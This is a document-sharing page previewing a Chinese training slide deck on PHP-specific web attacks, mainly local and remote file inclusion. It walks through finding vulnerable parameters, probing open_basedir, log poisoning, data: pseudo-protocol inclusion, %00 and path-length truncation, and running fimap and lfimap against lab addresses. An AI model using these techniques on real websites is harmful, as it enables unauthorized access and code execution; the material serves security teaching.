Web渗透测试系列-X-PHP特定攻击课件.pptx
- 【下载声明】
1. 本站全部试题类文档,若标题没写含答案,则无答案;标题注明含答案的文档,主观题也可能无答案。请谨慎下单,一旦售出,不予退换。
2. 本站全部PPT文档均不含视频和音频,PPT中出现的音频或视频标识(或文字)仅表示流程,实际无音频或视频文件。请谨慎下单,一旦售出,不予退换。
3. 本页资料《Web渗透测试系列-X-PHP特定攻击课件.pptx》由用户(三亚风情)主动上传,其收益全归该用户。163文库仅提供信息存储空间,仅对该用户上传内容的表现方式做保护处理,对上传内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知163文库(点击联系客服),我们立即给予删除!
4. 请根据预览情况,自愿下载本文。本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
5. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007及以上版本和PDF阅读器,压缩文件请下载最新的WinRAR软件解压。
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- Web 渗透 测试 系列 _X_PHP 特定 攻击 课件
- 资源描述:
-
1、Web渗透测试系列_X_PHP特定攻击1.整体框架2.文件包含3.代码执行4.变量覆盖5.总结培训提纲整体框架概述php特定攻击主要包括:文件包含、代码执行、变量覆盖三大部分: 文件包含:即服务器端利用php语句包含一个新的文件时且应用程序对用户输入过滤不当,从而导致该文件作为php代码执行的一种漏洞。 代码执行:即用户端通过向服务器某些可执行代码的危险函数传恶意递代码且应用程序对用户输入过滤不当,从而导致传入的代码在服务器端执行的一种漏洞。 变量覆盖:即用户通过控制输入的变量名及变量值来对服务器端代码中的同名变量进行覆盖,从而导致服务器根据用户输入执行的一种漏洞。Php特定攻击框架图文件包含
2、简介本地文件包含:即服务器端包含用户可控的本地文件且服务器端对用户提交的参数过滤不当,以此来获服务器端敏感信息。 远程文件包含:与本地文件包含类似,区别在于包含文件所在位置的不同,本地文件包含包含的文件在用户访问的服务器端本地,而远程文件包含包含文件重定向到另一个服务器。本地文件包含攻击原理流程图解实验例子寻找漏洞判断open_basedir是否设置探测利用漏洞防御测试工具攻击原理即打开并包含用户可控的本地文件且服务器端没有对用户提交的参数做过滤或者过滤不当,以此方法来获服务器端敏感信息或者服务器端脚本的源代码的一种技术。利用文件包含漏洞,需要满足以下两个条件: Included等函数通过动态
3、变量的方式引入需要包含的文件; 用户能够控制该动态变量。流程图解实验例子服务器端: 存在本地文件包含漏洞文件lfi.php代码如下(本节以此为例除非做特殊说明): ,其中include ()语句包含并运行指定文件,但当遇到错误的时候include只会产生警告,脚本将继续。客户端: 类似输入:http:/192.168.41.68/simple/lfi.php?file=fortest.txt 。寻找漏洞寻找漏洞主要从url中的.php文件名(如本例文件lfi.php)、参数名(如本例file参数)、参数值后缀(如本例参数值后缀.txt)三方面寻找: .php文件名也有一定的含义(比如文件查看等
4、),诸如folderview.php 、authldap.php、application.php、index.php等。 参数的名称一般有一定的含义(比如文件、路径等),诸如templatefolder、file、path、controller、errPagePath、includePath、base_path、folder、language、dir等。 参数值后缀一般为.txt、.doc、.php等文件后缀。判断open_basedir是否设置判断open_basedir是否设置分两种情况: 服务器返回错误信息,即php.ini 中开启display_errors开关,客户端请求服务器端产生
5、错误时,服务器端能够回显错误信息。 服务器不返回错误信息,即php.ini中关闭 display_errors开关,错误信息就不再回显。判断open_basedir是否设置服务器返回错误信息: 通过在url后面的参数值前不断添加./,直到跨越了open_basedir限定的目录即返回错误信息中出现“open_basedir restriction in effect”为止,否则可以断定没有设置open_basedir,本例中输入:file=./fortest.txt,页面返回如下判断open_basedir是否设置服务器返回错误信息: 从上图红框中信息可以看出文件包含失败,原因是文件不存在,继
6、续输入:file=././fortest.txt,页面返回如下图所示: 从上图红框中信息可以看出文件包含失败,原因是open_basedir的限制,因此可以断定设置了open_basedir。判断open_basedir是否设置服务器不返回错误信息: 此种情况只能假设open_basedir没有设置进行以下步骤,漏洞利用成功则open_basedir没有设置,否则设置了的可能性比较大。利用漏洞包含用户上传文件包含伪协议包含日志文件包含/proc/self/environ文件包含上传的临时文件包含session文件包含其它应用创建的文件利用截断包含用户上传文件原理 包含用户上传的文件最好理解,这
7、也是最简单的一种方法,用户上传的文件内容中如果包含了php代码,如果服务器没有过滤或者过滤不全那么这些代码被include()等包含文件函数加载后将会执行。利用局限性 被测试网站必须存在有上传页面且该页面具有上传功能,诸如上传图片、文档页面。 必须获知上传文件在服务器端的路径(该限制在上传文档详细研究,本实验假设指定上传文件在服务器端的路径)。包含用户上传文件利用步骤 首先,准备一个包含php的txt文件,本例为fortest.txt文件,如下 其次,上传准备的txt文档即本例中fortest.txt文件,本实验假如事先直到上传文件在服务器端的绝对路径,如下图红框处包含用户上传文件利用步骤 接
8、着,包含fortest.txt文档并执行文件中的php代码,本例输入:file=upload/fortest.txt,可以得出服务器执行了fortest.txt中的php代码,因此以探知存在本地文件包含漏洞,具体返回如下:包含用户上传文件利用步骤 最后,接下来可以修改fortest.txt文档的代码,构造自己想要的攻击,具体详见web shell部分。包含伪协议原理 包含伪协议即通过伪协议包含一些恶意代码,从而在服务器端执行。伪协议不同于真实存在的协议如http:/,https:/,ftp:/,而是为关联应用程序而使用的,常见的伪协议包括data 、php等利用局限性 服务器端支持对应的伪协议
9、 php.ini中allow_url_include设置为on包含伪协议利用步骤 首先,Data协议用于访问数据,使用格式为:data:;base64,例如本例输入:file=data:text/plain,%00,从返回页面可以探知存在本地文件包含漏洞,具体如下:包含伪协议利用步骤 其次,接下来可以修改file=data:text/plain,%00中的代码,构造需要的攻击,具体详见web shell部分。包含日志文件原理 包含日志文件即通过向日志文件导入恶意代码,接着服务器端应用程序在包含此日志文件,最终导致恶意代码执行。利用局限性 如果网站的访问量大的话,日志文件很可能很大,当包含一个这
10、么大的文件的时候,php进程可能会僵死,但web sever往往会滚动日志或每天生成一个新的日志文件,因此在凌晨时包含日志文件,将提高攻击成功性,因为此时的日志文件可能会非常小,同时由于默认的error.log记录信息不全,无法包含植入的恶意代码,因此选择包含access.log。包含日志文件利用步骤 首先,读取http.conf文件,找到日志文件所在的目录。http.conf一般会存在apache的安装目录下,在readhat系列里默认安装的可能为/etc/httpd、conf/httpd.conf;在windows系统下默认安装在conf/httpd.conf,例如输入:输入: file=
11、./conf/httpd.conf,可以得知本实验error.log和access.log分别在logs/access.log、logs/error.log,具体如下红框处:包含日志文件利用步骤 其次,把恶意代码植入access.log日志,直接通过url把恶意代码植入access.log日志时候,日志中显示的一些诸如空格、单引号等字符会被编码,这样的话包含日志文件不会执行,通过查询相关资料获知在一般情况下,就是借助代理工具,在发送的http请求中确保不包含connection头,那么请求原封不动的写入web日志,不会进行http编码。因此使用burpsuite工具截获请求,并把恶意代码植入请
12、求中,如下图红框处:包含日志文件利用步骤 再次,查看服务器端access.log日志,可以得出access.log日志文件包含了植入的恶意代码,如下图红框处包含日志文件利用步骤 最后,包含植入的恶意代码,输入:s=phpinfo();&file=./logs/access.log,从返回结果可以探知存在漏洞,具体如下 可以修改植入日志的代码,构造自己想要的代码进行进一步攻击,具体详见web shell部分包含/proc/self/environ文件包含/proc/self/environ文件的限制条件是必须得有/proc/self/environ的访问权限,系统默认情况下是不允许对enviro
13、n文件进行访问的,因此该方法不大实用,该文件ubantu下截图如下:包含上传临时文件php创建的上传临时文件,往往处于php允许访问的目录范围内,该临时文件的文件名是随机的,攻击者必须准确猜测出该文件名才能够成功利用该漏洞,因此文件名必须借助暴力破解,但临时文件具有时效性,过一段时间会自动销毁,因此实用性也不大。包含session文件包含session文件的条件比较苛刻,它需要攻击者能够控制部分session文件的内容,一般情况下远程用户是无法修改服务器端session文件的,因此该方法仅仅是理论具有可行性,实用性不强,因此这里不做叙述。包含其它应用创建的文件包含其它应用创建的文件包括比如数据
14、库文件、缓存文件、应用日志等,需要具体情况具体分析,这里就不做叙述。利用截断以上例子不使用截断技术,然而现实情况该技术经常遇到,本实验服务器端代码为:,常见截断技术如下: 利用%00截断,同时Php.ini中magic_quotes_gpc必须为off且受php版本限制(php5.4之后修改)。 利用操作系统对目录最大长度限制截断,目录字符串,在windows最大下为256个字节、linux下最大为4096个字节,超过最大值后的字符会被丢弃。linux下使用使用./、/,例如输入:file= upload/fortest.txt./././././././././././././././,wi
15、ndows下使用.、./、/,例如输入:file= upload/fortest.txt .。利用截断利用%00截断 首先,例如输入:file=upload/fortest.txt ,服务器端实际被包含文件实际是fortest.txt.php,因此不能执行,具体如下图红框处利用截断利用%00截断 接着,输入:file=upload/fortest.txt%00,从返回结果易知%00截断了后面的.php,具体如下图利用截断利用操作系统对目录最大长度限制截断 这里以windows为例,首先输入:file=upload/fortest.txt,从返回页面可以得出结论,当输入的参数fortest.tx
16、t,被包含文件实际是fortest.txt.php,具体如下图红框处:利用截断利用操作系统对目录最大长度限制截断 接着输入:http:/192.168.41.68/simple/lfi.php?file=upload/fortest.txt/:,返回结果易知截断了.php,具体如下图,防御目前防火墙中有防御本地文件包含漏洞的特征,同时结合0day分析提取白名单作为补充。测试工具本地文件包含测试工具包括: Fimap lfimap fimap使用命令格式如:python fimap.py -u 目标网站,例如输入:python fimap.py u http:/192.168.41.68/sim
17、ple/lfi.php?file=upload/fortest.txt,从返回页面可以得出探测出了漏洞,具体如下图红框处:lfimap使用命令格式如:python lfimap.py t “目标网站”-o report.html, 例如输入:python lfimap.py -t “ http:/192.168.202.134/lfi.php?file=fortest.txt” -o report.html,从返回页面可以得出file参数存在漏洞,具体如下图红框处:lfimap也可以从生成报告文件report.html获知漏洞信息,具体如下红框处:远程文件包含攻击原理流程图解实验例子寻找漏洞判
18、断allow_url_include是为on漏洞利用防御测试工具攻击原理远程文件包含的原理与本地文件包含原理类似,区别在于包含文件所在位置的不同。流程图解实验例子服务器端: 服务器端有远程文件包含漏洞文件rfi.php代码如下 (本节以此为例除非做特殊说明): ,其中include ()语句包含并运行指定文件,但当遇到错误的时候include只会产生警告,脚本将继续。客户端: 类似输入:http:/192.168.41.68/simple/lfi.php?file= http:/192.168.41.67/fortest.txt寻找漏洞寻找漏洞主要从url中的.php文件名(如本例文件rfi.
展开阅读全文